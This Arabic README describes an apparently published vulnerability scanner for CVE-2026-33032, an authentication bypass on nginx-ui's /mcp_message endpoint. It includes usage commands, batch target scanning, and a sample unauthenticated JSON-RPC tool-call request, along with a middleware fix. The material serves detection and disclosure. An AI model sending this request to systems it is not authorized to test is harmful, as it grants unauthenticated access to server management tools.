
أداة فحص ثغرات غير مدمرة لتجاوز مصادقة نقطة نهاية Nginx-UI MCP (CVE-2026-33032)
ماسح ثغرات غير مدمر لتفادي المصادقة في نقطة نهاية MCP الخاصة بـ Nginx-UI
CVE-2026-33032 هي ثغرة تفادي مصادقة في تكامل بروتوكول سياق النموذج (MCP) الخاص بـ nginx-ui. تفتقر نقطة النهاية /mcp_message إلى وسيط المصادقة بينما توفر الوصول إلى جميع أدوات MCP، مما يسمح للمهاجمين عن بُعد بـ:
عدم تناسق المصادقة: تتطلب نقطة النهاية /mcp مصادقة، لكن /mcp_message لا تتطلبها:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // Missing AuthRequired()
قائمة IP البيضاء مفتوحة الفشل: قائمة IP البيضاء الافتراضية فارغة، وهو ما يتعامل معه الوسيط على أنه "السماح للجميع"
كلا النقطتين تشتركان في المعالج: كلاهما يوجهان إلى نفس mcp.ServeHTTP() الذي يعالج جميع استدعاءات أدوات MCP
✅ اختبار غير مدمر - يستخدم أدوات MCP للقراءة فقط
✅ بصمة شاملة - يحدد تثبيتات nginx-ui
✅ إثبات مفهوم آمن - لا يتم إجراء أي تغييرات على الإعدادات
✅ فحص دفعات - معالجة أهداف متعددة من ملف
✅ تقارير مفصلة - إخراج JSON للتكامل
# Clone or download the scanner
git clone https://github.com/Twinson333/cve-2026-33032-scanner.git
cd cve-2026-33032
chmod +x cve-2026-33032-scanner.py
# Install dependencies (if needed)
pip3 install requests
# Scan a single target
python3 cve-2026-33032-scanner.py -u http://target.com:9000
# Scan with verbose output
python3 cve-2026-33032-scanner.py -u https://nginx-ui.example.com -v
# Custom timeout
python3 cve-2026-33032-scanner.py -u http://192.168.1.100:9000 -t 15
# Scan multiple targets from file
python3 cve-2026-33032-scanner.py -f targets.txt
# With verbose output and JSON report
python3 cve-2026-33032-scanner.py -f targets.txt -v -o results.json
#Burp Pingback
python3 cve-2026-33032-scanner.py -u http://target.com:9000 --collaborator abc123.burpcollaborator.net
# targets.txt - one URL per line
http://192.168.1.100:9000
https://nginx-ui.corp.com
http://10.0.0.50:9000
ينفذ الماسح عملية اكتشاف متعددة المراحل:
يفحص نقاط نهاية nginx-ui الشائعة لتحديد التثبيت:
/api/info - معلومات الإصدار/login - صفحة تسجيل الدخول/api/auth/login - نقطة نهاية المصادقة/mcp و /mcp_message - نقطتا نهاية MCPيختبر نقطة النهاية /mcp للتحقق من أنها تتطلب مصادقة بشكل صحيح (خط الأساس)
يحاول استدعاءات أدوات MCP غير المدمرة عبر /mcp_message بدون مصادقة:
إذا نجحت أي أداة بدون مصادقة، يتم تأكيد الثغرة.
يستدعي الماسح أدوات MCP للقراءة فقط فقط:
| الأداة | الوصف | التأثير |
|---|---|---|
nginx_status | قراءة حالة خدمة nginx | لا تغييرات |
nginx_config_list | سرد ملفات الإعدادات | لا تغييرات |
nginx_config_base_path | الحصول على مسار دليل الإعدادات | لا تغييرات |
الأدوات المستبعدة صراحةً:
nginx_config_add - قد تنشئ ملفاتnginx_config_modify - قد تغير الإعداداتrestart_nginx / reload_nginx - تعطيل الخدمةnginx_config_enable - قد تغير الإعدادات النشطة[+] nginx-ui detected: Found 'nginx-ui' in /login
[+] /mcp endpoint properly protected
[*] Testing /mcp_message endpoint (CVE-2026-33032)...
[*] Trying tool: nginx_status - Read nginx status (safest)
Status: 200
======================================================================
[!] VULNERABLE to CVE-2026-33032
======================================================================
Proof: Successfully executed nginx_status without authentication
[+] nginx-ui detected: Version endpoint accessible
[+] /mcp endpoint properly protected
[*] Testing /mcp_message endpoint (CVE-2026-33032)...
[*] Trying tool: nginx_status - Read nginx status (safest)
Status: 401
Auth required (protected) ✓
[+] NOT vulnerable - endpoint requires authentication
إذا تم تأكيد الثغرة:
الإصلاح الفوري: إضافة وسيط المصادقة إلى /mcp_message:
r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
الدفاع في العمق:
الترقية: التحديث إلى إصدار nginx-ui المُصحح عند توفره
هذه الأداة مصممة من أجل:
لا تستخدم هذه الأداة على أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
عند الإبلاغ عن هذه الثغرة:
الخطورة: حرجة (CVSS 9.8+)
الإثبات: تضمين مخرجات الماسح التي تُظهر استدعاء أداة MCP ناجحًا بدون مصادقة
سلسلة التأثير:
إثبات مفهوم آمن: استخدام الأدوات للقراءة فقط فقط (nginx_status, nginx_config_list)
POST /mcp_message HTTP/1.1
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "nginx_status",
"arguments": {}
},
"id": 1
}
{
"jsonrpc": "2.0",
"result": {
"content": [
{
"type": "text",
"text": "nginx is running (PID: 1234)"
}
]
},
"id": 1
}
HTTP/1.1 401 Unauthorized
{
"error": "authentication required"
}
هذه الأداة مقدمة لأغراض تعليمية واختبار الأمان المصرح به فقط.
Antony Esthak Twinson @ Cyber Tamarin
باحث أمني | صياد مكافآت ثغرات
متخصص في أمان تطبيقات الويب وبحوث الثغرات
إخلاء مسؤولية: يقوم هذا الماسح بإجراء اختبارات غير مدمرة فقط. احصل دائمًا على التصريح المناسب قبل اختبار أي أنظمة.